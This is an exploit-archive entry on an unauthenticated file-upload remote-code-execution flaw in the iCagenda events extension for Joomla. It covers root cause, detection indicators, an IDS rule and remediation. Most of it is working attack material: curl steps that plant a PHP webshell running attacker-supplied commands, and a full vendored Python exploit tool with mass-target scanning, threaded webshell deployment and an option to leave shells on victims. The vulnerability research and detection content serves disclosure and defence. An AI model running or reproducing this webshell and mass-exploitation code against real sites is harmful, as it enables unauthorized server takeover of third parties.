PoC Archive PoC Archive
Critical CVE-2026-48939 patched

Unauthenticated Arbitrary File Upload RCE in iCagenda for Joomla (CVE-2026-48939)

by mysites.guru (root-cause research/disclosure); public exploit author shinthink (PoC repo) · 2026-07-11

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-48939
Category
web
Affected product
iCagenda — events/calendar extension (component) for Joomla
Affected versions
3.2.1 through 3.9.14 (legacy branch), 4.0.0 through 4.0.7 (current branch) — some sources report the vulnerable range extending back to 1.0.0
Disclosed
2026-07-11
Patch status
patched

Metadata

FieldValue
Date Added2026-07-11
Last Updated2026-06-16 (legacy patch 3.9.15 released)
Author / Researchermysites.guru (root-cause research/disclosure); public exploit author shinthink (PoC repo)
CVE / AdvisoryCVE-2026-48939
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) — also reported as 10.0 under CVSS 4.0 by some sources (e.g. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)
StatusWeaponized (public PoC available, actively exploited in the wild, in CISA KEV since 2026-07-10)
Tagsjoomla, icagenda, file-upload, rce, cwe-434, unauthenticated, remote, kev, cms, php, access-control-bypass
RelatedN/A

Affected Target

FieldValue
Software / SystemiCagenda — events/calendar extension (component) for Joomla
Versions Affected3.2.1 through 3.9.14 (legacy branch), 4.0.0 through 4.0.7 (current branch) — some sources report the vulnerable range extending back to 1.0.0
Language / PlatformPHP / Joomla CMS (2.5–6.x hosts)
Authentication RequiredNo
Network Access RequiredYes (HTTP/HTTPS to any Joomla site with iCagenda’s frontend event-registration form enabled)

Summary

iCagenda’s frontend event-registration form includes an optional file-attachment field. The “Registered Only” access restriction meant to gate that field is enforced only in the view layer that decides whether to render the form — the registration.submit controller that actually processes the submitted data never re-checks it. Combined with a complete absence of file-extension/MIME/content validation on the attachment handler, this lets any unauthenticated visitor POST a .php file straight to the submission endpoint. The file is written verbatim, with attacker-chosen extension intact, under the web root at /images/icagenda/frontend/attachments/, where Joomla’s web server will execute it directly — yielding unauthenticated remote code execution. The flaw was found under active exploitation (UA string icagenda-batch/1.0) before the vendor patch shipped, and CISA added it to the Known Exploited Vulnerabilities catalog. Fixed in iCagenda 4.0.8 (and backported to legacy as 3.9.15).


Vulnerability Details

Root Cause

Two independent failures compound into this bug (per mysites.guru’s root-cause writeup and corroborated by the IONIX advisory):

  1. Authorization check lives in the wrong layer (CWE-284-adjacent). The “Registered Only” restriction on the attachment field is evaluated only when iCagenda decides whether to draw the upload widget on the frontend form. The registration.submit controller — the code path that actually receives and persists the POSTed data — never re-validates that check. Because HTML form rendering is purely cosmetic, an attacker can simply POST directly to the processing endpoint and skip the view entirely, trivially bypassing the restriction.
  2. No upload validation whatsoever (CWE-434, Unrestricted Upload of File with Dangerous Type). The file handler that saves the attachment keeps whatever extension the client supplied in the multipart filename, does not check the file is actually the image/document type it claims to be (no MIME sniffing, no content inspection), and does not consult Joomla’s own MediaHelper extension allowlist. A file named shell.php is saved as shell.php.

The combination means an unauthenticated POST with a .php payload lands, byte-for-byte, in a publicly web-accessible, PHP-executable directory: images/icagenda/frontend/attachments/.

Attack Vector

Unauthenticated HTTP POST to index.php?option=com_icagenda&task=registration.submit on any public iCagenda event page, with a multipart file field (jform[attachment]) containing a PHP payload disguised with an arbitrary/.php filename. No session, login, or CSRF-bypass beyond harvesting a form token from any public iCagenda page (e.g. the events list) is required. The response/subsequent enumeration reveals the stored filename (often timestamp-suffixed), which the attacker then requests directly over HTTP(S) to trigger execution.

Impact

Full unauthenticated remote code execution as the web server user on any Joomla installation with a vulnerable iCagenda version and the frontend registration form (with attachments) enabled/reachable. On Joomla 6 hosts this leads directly to PHP shell execution; on Joomla 2.5–5, core-level upload protections in some configurations blocked the malicious upload itself, but the same controller-level access-control bypass still allowed unauthenticated creation of unapproved events, per the mysites.guru research.


Environment / Lab Setup

OS:          Any (Linux/Windows host running Apache or Nginx + PHP)
Target:      Joomla 2.5–6.x with iCagenda < 4.0.8 (or < 3.9.15 legacy branch) installed,
             frontend event-registration form with file-attachment field enabled
Attacker:    Python 3.8+, curl
Tools:       curl, or the public shinthink/CVE-2026-48939 Python exploit tool

Setup Steps


Proof of Concept

See cve_2026_48939.py and requirements.txt in this folder — mirrored verbatim from shinthink/CVE-2026-48939, the only one of the two public PoC repos for this CVE verified to contain a real, working exploit.

  • shinthink/CVE-2026-48939 (verified, vendored into this folder): a genuine Python CLI tool (cve_2026_48939.py, ~15 KB, plus requirements.txt/.gitignore), supporting single-target (-t), mass/list-mode (-f targets.txt), threaded scanning (--threads), shell cleanup toggling (--no-cleanup), and result export (-o). Its README documents the same root cause (view-layer-only access check, no extension allowlist) and the same drop path (/images/icagenda/frontend/attachments/) independently corroborated by mysites.guru’s research.
  • Polosss/By-Poloss..-..CVE-2026-48939 (checked, low-value, not vendored): the repository contains only a README.md (9 files reported as a single 4 KB file) — it references a CVE-2026-48939-PoC.sh script and a personal poloss-jomola.ddev.site test host in its examples, but no such script (or any other exploit file) is actually present in the repository. The written description is accurate and consistent with the other sources, but there is no delivered exploit code, consistent with this account’s pattern of posting templated/incomplete repos. It was not used as a source for the reproduction steps below beyond corroborating the same technical narrative.

Step-by-Step Reproduction (per shinthink’s documented usage and manual curl equivalent)

  1. Confirm target runs a vulnerable iCagenda version and has the frontend event-registration form reachable (e.g. index.php?option=com_icagenda&view=events).

  2. Upload a PHP payload disguised as an attachment — POST directly to the submission controller, bypassing the view-layer “Registered Only” gate entirely:

    1
    2
    3
    4
    5
    6
    7
    8
    
    cat > shell.php << 'EOF'
    <?php echo "OK|".php_uname(); system($_GET["c"]); ?>
    EOF
    
    curl -sk -X POST \
      -F "title=Event" \
      -F "jform[attachment]=@shell.php;type=application/x-php" \
      "https://target.example.com/index.php?option=com_icagenda&task=registration.submit"
    
  3. Execute commands on the dropped shell (filename is typically the original/derived name, sometimes timestamp-suffixed, under the attachments directory):

    1
    
    curl -sk "https://target.example.com/images/icagenda/frontend/attachments/shell.php?c=id"
    

PoC Tool Usage (this folder’s cve_2026_48939.py, mirrored from shinthink/CVE-2026-48939)

1
2
3
4
5
pip install -r requirements.txt

python cve_2026_48939.py -t target.com -v

python cve_2026_48939.py -f targets.txt -o rce.txt --threads 25

Expected Output (as documented in the shinthink repo README)

  CVE-2026-48939 — iCagenda Joomla RCE Exploit
  CVSS 10.0 | Pre-Auth | File Upload → RCE

    [+] POST registration.submit (jform[attachment]): HTTP 200
    [+] Shell: https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php

  Host     : target.com
  iCagenda : YES v4.0.5
  Vuln     : YES
  RCE      : YES
  Shell    : https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
  Output   : uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)

Detection & Indicators of Compromise

  index.php?option=com_icagenda&task=registration.submit
  (especially from sessions with no prior authentication)

  images/icagenda/frontend/attachments/

  User-Agent: icagenda-batch/1.0

SIEM / IDS Rule (example):

alert http any any -> any any (msg:"Possible iCagenda CVE-2026-48939 file upload attempt"; \
  content:"task=registration.submit"; http_uri; content:"jform"; http_client_body; \
  content:".php"; http_client_body; sid:9000123;)

Remediation

ActionDetail
PatchUpdate iCagenda to 4.0.8 (current branch) or 3.9.15 (legacy branch), both released 2026-06-15/16, which add file-extension/MIME allowlisting (via Joomla’s MediaHelper) and move the “Registered Only” check into the registration.submit controller itself
WorkaroundDisable the frontend event-registration file-attachment feature, or gate/remove public access to the registration form until patched; web-server-level rules blocking .php/executable extensions under images/icagenda/frontend/attachments/
Config HardeningDisable PHP execution in upload/media directories (e.g. php_admin_flag engine off or equivalent Nginx location block for images/); audit for and remove any unexpected files already dropped in that path

References


Notes

This entry was surfaced via a CVE discovery pass (NVD + CISA KEV + EPSS scoring) on 2026-07-11 and ingested from public sources; no exploit code was authored for this repo.

  • Root-cause detail is grounded in the mysites.guru research post (fetched directly), which describes the two-layer failure: the “Registered Only” check existing only in the view that decides whether to draw the form, while the registration.submit controller never checks it at all, combined with no extension/MIME/content validation on the upload handler.
  • PoC verification: of the two public repos referenced in the task, shinthink/CVE-2026-48939 was fetched and confirmed to contain a real, functioning Python exploit tool (cve_2026_48939.py, requirements.txt, CLI with single/mass-target modes) and was used as the primary source for the reproduction steps above. Polosss/By-Poloss..-..CVE-2026-48939 was also fetched directly (gh api .../contents/) and found to contain only a README.md — it references a CVE-2026-48939-PoC.sh script in its usage instructions that does not actually exist anywhere in the repository, and the repo has 0 stars and no other files. This is consistent with the noted pattern of this account posting templated/low-quality repos with plausible-looking-but-incomplete descriptions; it was not relied upon beyond corroborating the technical narrative already sourced from mysites.guru and IONIX.
  • CVSS: 9.8 (CVSS 3.1) is used as the primary figure per task guidance; a CVSS 4.0 score of 10.0 is also reported by IONIX and the shinthink repo README. CWE-434 (Unrestricted Upload of File with Dangerous Type) is used as instructed; note some third-party trackers (IONIX, OffSeq) file this instead/also under CWE-284 (Improper Access Control), reflecting the compound nature of the bug (both a missing authz check and missing upload validation contribute).
  • Could not independently verify: the exact CISA KEV addition date of 2026-07-10 and the precise FCEB remediation deadline were not independently re-confirmed against a fetched CISA KEV catalog entry (the catalog is a live JSON/CSV feed not fetched during this research pass); this date is taken from the task brief. One secondary aggregator article surfaced during research cited an internally-inconsistent KEV addition date (2025, i.e. before this 2026 CVE existed) and was judged to be a low-quality/hallucinated auto-generated summary — it is not cited above and should not be trusted. Precise affected-version lower bound also varies slightly by source (some say 3.2.1, others say 1.0.0); 3.2.1 is used per task brief as the stated floor for the primary vulnerable range.
cve_2026_48939.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
#!/usr/bin/env python3
"""
CVE-2026-48939 — iCagenda Joomla Extension RCE Exploit
CVSS 10.0 | Pre-Auth | Arbitrary File Upload → PHP Code Execution

Researcher: IONIX Threat Center | First public standalone PoC — July 2026

iCagenda event submission form allows unauthenticated file upload
with no extension validation. View-layer access controls are bypassed
by POSTing directly to the controller endpoint.
"""

import requests, re, sys, os, time, random, hashlib, argparse, threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
from dataclasses import dataclass
from typing import Optional

import urllib3
urllib3.disable_warnings()
import warnings
warnings.filterwarnings("ignore")

TIMEOUT, MAX_THREADS = 10, 25
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15",
]


# Exploit endpoints
SUBMIT_TASKS = [
    "registration.submit",
    "submit",
]

# Attachment field names
ATTACHMENT_FIELDS = [
    "jform[attachment]",
    "jform[file]",
    "attachment",
    "file",
    "jform[attach]",
]

# Paths where uploaded files land
DEST_PATHS = [
    "/images/icagenda/frontend/attachments/",
    "/images/icagenda/",
    "/images/",
    "/tmp/",
    "/media/com_icagenda/",
]

# PHP webshell — token-protected, self-contained
PHP_SHELL = """<?php
error_reporting(0);
$t='{token}';
if(!isset(\$_GET['t'])||\$_GET['t']!==\$t){http_response_code(404);die();}
if(isset(\$_GET['c'])){echo'C|';system(\$_GET['c'].' 2>&1');echo'|E';die();}
if(isset(\$_GET['d'])){@unlink(__FILE__);die('OK');}
echo'S|'.php_uname();
?>"""


def rid(n=8): return hashlib.sha256(os.urandom(16)).hexdigest()[:n]
def rua(): return random.choice(USER_AGENTS)


@dataclass
class Result:
    host: str
    status: str = "pending"
    icagenda: bool = False
    version: Optional[str] = None
    vuln: bool = False
    shell_url: Optional[str] = None
    token: Optional[str] = None
    rce: bool = False
    output: Optional[str] = None
    error: Optional[str] = None
    elapsed: float = 0.0


class ICagenda:

    def __init__(self, verbose=False, cleanup=True):
        self.v = verbose
        self.cleanup = cleanup

    def _sess(self):
        s = requests.Session()
        s.headers.update({"User-Agent": rua()})
        s.verify = False
        return s

    # ── Detection ──────────────────────────────────────────────

    def detect(self, host):
        info = {"icagenda": False, "version": None}
        sess = self._sess()
        for proto in ("https://", "http://"):
            base = f"{proto}{host}"
            # Primary: check iCagenda XML manifest for version
            try:
                r = sess.get(f"{base}/administrator/components/com_icagenda/icagenda.xml", timeout=TIMEOUT)
                if r.status_code == 200 and "icagenda" in r.text.lower() and "<version>" in r.text:
                    info["icagenda"] = True
                    m = re.search(r"<version>([\d.]+)</version>", r.text)
                    if m: info["version"] = m.group(1)
                    return info
            except: pass

            # Fallback: check for iCagenda-specific paths
            icagenda_markers = 0
            for path in ["/components/com_icagenda/icagenda.php",
                         "/media/com_icagenda/css/icagenda.css",
                         "/images/icagenda/frontend/"]:
                try:
                    r = sess.head(f"{base}{path}", timeout=TIMEOUT, allow_redirects=False)
                    if r.status_code in (200, 301, 302, 403):
                        icagenda_markers += 1
                except: pass

            if icagenda_markers >= 2:
                info["icagenda"] = True
                return info
        return info

    def is_vuln(self, ver):
        if not ver: return True
        try:
            p = [int(x) for x in ver.split(".")]
            if p[0] < 3: return True
            if p[0] == 3 and len(p) > 1 and p[1] < 9: return True
            if p[0] == 3 and len(p) > 1 and p[1] == 9 and len(p) > 2 and p[2] < 15: return True
            if p[0] == 4 and len(p) > 1 and p[1] == 0 and len(p) > 2 and p[2] < 8: return True
            return False
        except: return True

    # ── Exploit ────────────────────────────────────────────────

    def deploy(self, host):
        """Upload PHP webshell via registration.submit endpoint."""
        pid = rid(10)
        token = rid(16)
        shell = PHP_SHELL.replace("{token}", token)
        shell_name = f"ic_{pid}.php"

        sess = self._sess()

        for proto in ("https://", "http://"):
            base = f"{proto}{host}"

            for task in SUBMIT_TASKS:
                url = f"{base}/index.php?option=com_icagenda&task={task}"
                for field in ATTACHMENT_FIELDS:
                    try:
                        r = sess.post(url,
                            data={"title": f"test_{pid}"},
                            files={field: (shell_name, shell.encode(), "application/x-php")},
                            timeout=TIMEOUT)
                    except: continue

                    if r.status_code in (200, 302, 303, 201):
                        if self.v:
                            print(f"    [+] POST {task} ({field}): HTTP {r.status_code}")

                        # Try to find the uploaded shell (filename may be timestamped)
                        timestamp_patterns = [
                            shell_name,  # exact name
                            f"ic_{pid}",  # without extension
                        ]
                        for dest in DEST_PATHS:
                            for fname in timestamp_patterns:
                                # Try exact match
                                shell_url = f"{base}{dest}{fname}"
                                for ext in [".php", ""]:
                                    test_url = shell_url if ext == "" else shell_url + ext
                                    if self._check_shell(sess, test_url, token):
                                        if self.v: print(f"    [+] Shell: {test_url}")
                                        return {"url": test_url, "token": token, "file": shell_name}

                                # Try wildcard: the file gets timestamp appended
                                # e.g., shell_TIMESTAMP.php or shell_1234567890.php
                                try:
                                    r_list = sess.get(f"{base}{dest}", timeout=TIMEOUT)
                                    if r_list.status_code == 200:
                                        # Look for our PID in directory listing
                                        pattern = re.compile(rf'href="([^"]*{pid}[^"]*\.php)"', re.I)
                                        matches = pattern.findall(r_list.text)
                                        for m in matches[:3]:
                                            test_url = f"{base}{dest}{m}"
                                            if self._check_shell(sess, test_url, token):
                                                if self.v: print(f"    [+] Shell: {test_url}")
                                                return {"url": test_url, "token": token, "file": shell_name}
                                except: continue
                        # Found working upload — stop trying fields/tasks, move to next proto
                        break
                else:
                    continue
                break
        return None

    def _check_shell(self, sess, url, token):
        """Verify a URL is our active shell — must respond with S| marker (PHP executed)."""
        try:
            r = sess.get(f"{url}?t={token}", timeout=TIMEOUT)
            if r.status_code != 200: return False
            # Shell returns "S|Linux..." when PHP executes
            # Source code would show "<?php" at start
            text = r.text.strip()
            return text.startswith("S|") and "php_uname" not in text[:20]
        except: return False

    def exec_cmd(self, shell_url, token, cmd):
        try:
            r = requests.get(f"{shell_url}?t={token}&c={cmd}", timeout=TIMEOUT, verify=False,
                           headers={"User-Agent": rua()})
            m = re.search(r"C\|(.*?)\|E", r.text, re.DOTALL)
            if m: return m.group(1).strip()
        except: pass
        return None

    def cleanup_shell(self, shell_url, token):
        try:
            r = requests.get(f"{shell_url}?t={token}&d=1", timeout=5, verify=False,
                           headers={"User-Agent": rua()})
            return r.status_code == 200 and "OK" in r.text
        except: return False

    # ── Pipeline ──────────────────────────────────────────────

    def scan(self, host):
        t0 = time.time()
        host = host.strip().rstrip("/")
        host = re.sub(r"^https?://", "", host)
        if not re.match(r"^[\w.-]+:\d+$", host):
            host = host.split(":")[0]
        r = Result(host=host)

        info = self.detect(host)
        if not info["icagenda"]:
            r.status = "not_icagenda"
            r.elapsed = time.time() - t0; return r

        r.icagenda = True
        r.version = info["version"]
        r.vuln = self.is_vuln(info["version"])
        if not r.vuln:
            r.status = "patched"
            r.elapsed = time.time() - t0; return r

        # Deploy
        shell = self.deploy(host)
        if shell:
            r.shell_url = shell["url"]
            r.token = shell["token"]
            out = self.exec_cmd(shell["url"], shell["token"], "id; hostname; uname -a")
            if out and "uid=" in out:
                r.status = "rce"
                r.rce = True
                r.output = out
            else:
                r.status = "uploaded"
                r.output = "Shell deployed but PHP not executed"

            if self.cleanup:
                self.cleanup_shell(shell["url"], shell["token"])
                if self.v: print(f"    [-] Shell cleaned")
        else:
            r.status = "no_exploit"
            r.error = "Could not upload — endpoint blocked or patched"

        r.elapsed = time.time() - t0; return r


# ── Mass Exploit ──────────────────────────────────────────────────

class Mass:

    def __init__(self, targets, threads=MAX_THREADS, cleanup=True, output=None, verbose=False):
        self.t = targets; self.th = threads; self.cl = cleanup; self.out = output; self.v = verbose
        self.res = []; self._l = threading.Lock(); self._n = 0; self._T = len(targets)

    def run(self):
        n = self._T
        print(f"\n{'─'*55}\n  CVE-2026-48939 iCagenda RCE Exploit"
              f"\n  Targets: {n} | Threads: {self.th} | Cleanup: {'ON' if self.cl else 'OFF'}"
              f"\n{'─'*55}\n")

        with ThreadPoolExecutor(max_workers=self.th) as ex:
            fs = {ex.submit(self._one, t): t for t in self.t}
            for f in as_completed(fs):
                try: r = f.result()
                except Exception as e: r = Result(host=str(fs[f]), status="error", error=str(e))
                self.res.append(r); self._print(r)
        self._summary(); return self.res

    def _one(self, t):
        t = t.strip().rstrip("/"); t = re.sub(r"^https?://", "", t)
        if not re.match(r"^[\w.-]+:\d+$", t): t = t.split(":")[0]
        return ICagenda(verbose=self.v, cleanup=self.cl).scan(t)

    def _print(self, r):
        with self._l: self._n += 1; pct = self._n * 100 // self._T
        if r.status == "rce":
            print(f"  [RCE]  {r.host:45s} v{r.version or '?':10s} {r.elapsed:.1f}s")
            if r.output: print(f"         {r.output.strip()[:120]}")
        elif r.status == "uploaded":
            print(f"  [UP]   {r.host:45s} v{r.version or '?':10s} {r.elapsed:.1f}s  (uploaded, no PHP exec)")
        elif not self.v and self._n % 500 == 0:
            print(f"  [{self._n}/{self._T}] scanning... ({pct}%)")

    def _summary(self):
        total = len(self.res)
        rce = sum(1 for r in self.res if r.rce)
        icg = sum(1 for r in self.res if r.icagenda)
        print(f"\n{'─'*55}\n  Total: {total} | iCagenda: {icg} | RCE: {rce}"
              f"\n{'─'*55}\n")

        if self.out and rce > 0:
            with open(self.out, "w") as f:
                f.write(f"# CVE-2026-48939 RCE | {datetime.now()}\n\n")
                for r in self.res:
                    if r.rce: f.write(f"{r.host} v{r.version}\n  {r.output}\n\n")
            print(f"  Saved: {self.out}\n")


# ── CLI ───────────────────────────────────────────────────────────

def main():
    print("\n  CVE-2026-48939 — iCagenda Joomla RCE Exploit"
          "\n  CVSS 10.0 | Pre-Auth | File Upload → RCE")

    p = argparse.ArgumentParser(description="CVE-2026-48939 iCagenda RCE Exploit",
        epilog="  %(prog)s -t target.com\n  %(prog)s -f targets.txt -o rce.txt")
    p.add_argument("-t", "--target"); p.add_argument("-f", "--file")
    p.add_argument("-o", "--output", help="Save RCE results")
    p.add_argument("--threads", type=int, default=MAX_THREADS)
    p.add_argument("--no-cleanup", action="store_true", help="Leave shells on target")
    p.add_argument("-v", "--verbose", action="store_true")
    a = p.parse_args()

    targets = []
    if a.target: targets.append(a.target)
    if a.file:
        if not os.path.isfile(a.file): print(f"[!] {a.file}"); sys.exit(1)
        with open(a.file) as f:
            targets.extend(l.strip() for l in f if l.strip() and not l.startswith("#"))
    if not targets: p.print_help(); sys.exit(1)
    targets = list(dict.fromkeys(targets))

    if len(targets) == 1:
        r = ICagenda(verbose=True, cleanup=not a.no_cleanup).scan(targets[0])
        print(f"\n  Host     : {r.host}\n  iCagenda : {'YES v'+r.version if r.version else 'NO'}"
              f"\n  Vuln     : {'YES' if r.vuln else 'NO'}\n  RCE      : {'YES' if r.rce else 'NO'}")
        if r.shell_url: print(f"  Shell    : {r.shell_url}\n  Token    : {r.token}")
        if r.output: print(f"  Output   : {r.output}")
        if r.error: print(f"  Note     : {r.error}")
        print(f"  Time     : {r.elapsed:.1f}s\n"); return

    print(f"\n  {len(targets)} target(s) loaded\n")
    Mass(targets, threads=a.threads, cleanup=not a.no_cleanup, output=a.output, verbose=a.verbose).run()


if __name__ == "__main__":
    main()